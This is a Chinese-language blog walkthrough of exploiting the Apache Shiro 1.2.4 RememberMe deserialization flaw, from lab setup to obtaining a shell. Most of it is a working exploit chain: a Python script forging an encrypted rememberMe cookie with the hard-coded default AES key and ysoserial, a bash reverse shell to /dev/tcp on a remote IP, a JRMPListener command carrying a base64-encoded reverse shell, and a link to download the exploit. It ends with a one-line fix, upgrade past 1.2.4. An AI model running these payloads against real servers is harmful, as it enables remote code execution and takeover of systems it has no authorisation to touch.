Shiro RememberMe 1.2.4 反序列化过程命令执

2019-11-08  本文已影响0人  kepler404

影响版本

Apache Shiro <= 1.2.4

原因分析

Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

AES加密

勾选记住密码并登录页面上的账号密码,成功登录后台后返回Cookie中的rememberMe值为固定的512位

图片.png

环境搭建

源码搭建

git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4
cd ./shiro/samples/web

需要提前配置tomcat
mvn

为了配合生成反序列化的漏洞环境,需要添加存在漏洞的 jar 包,编辑 pom.xml文件,添加如下行:

图片.png
修改完成后,使用Maven 把存在漏洞环境 war包进行编译

最终可以将 target 目录下生成的 samples-web-1.2.4.war 文件拷贝至 tomcat 目录下的 webapps 目录,这里将其重命名为了 shiro.war 文件,启动 tomcat, 在浏览器当中输入 http://localhost:8080/shiro 可以看到登录页面,如下图:

图片.png

如果不会编译war包的话,我已经整好了,直接打包,
在文章下

然后,获取我们复现需要用到的ysoserial工具

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests

漏洞利用

恶意 Cookie rememberMe值构造

前16字节的密钥–>后面加入序列化参数–>AES加密–>base64编码–>发送cookie

生成恶意rememberMe参数值Python代码

python shiro.py 攻击者IP:PORT

import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): #ysoserial-0.0.6-SNAPSHOT-all.jar 文件需要在该文件目录 popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())

图片.png

记得勾选这个


图片.png

用脚本生成恶意代码


图片.png

http://www.jackson-t.ca/runtime-exec-payloads.html
制作反弹shell
bash -i >& /dev/tcp/192.168.1.2/8888 0>&1

图片.png
再使用ysoserial中JRMP监听模块,监听12345端口注意这里的端口是刚才生成rememberMe值的端口。 再加上生成的base64编码。
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4xOTUuMjQyLzEyMzQ2IDA+JjE=}|{base64,-d}|{bash,-i}'

注意CommonsCollections4这里有个坑,复现不成功的话,换成5,4,3,2都试试


图片.png

然后nc监听12346,因为通过制作bash反弹12346端口


图片.png
发送生成后的恶意代码,替换cookie里的值
图片.png 图片.png
图片.png

成功拿到权限

下面是源码和exp

链接:https://pan.baidu.com/s/1inm1RDfxgvfZ_q4yG6KDLA
提取码:gy90
复制这段内容后打开百度网盘手机App,操作更方便哦

漏洞修复

升级到Shiro 1.2.5以上版本

上一篇下一篇

猜你喜欢

热点阅读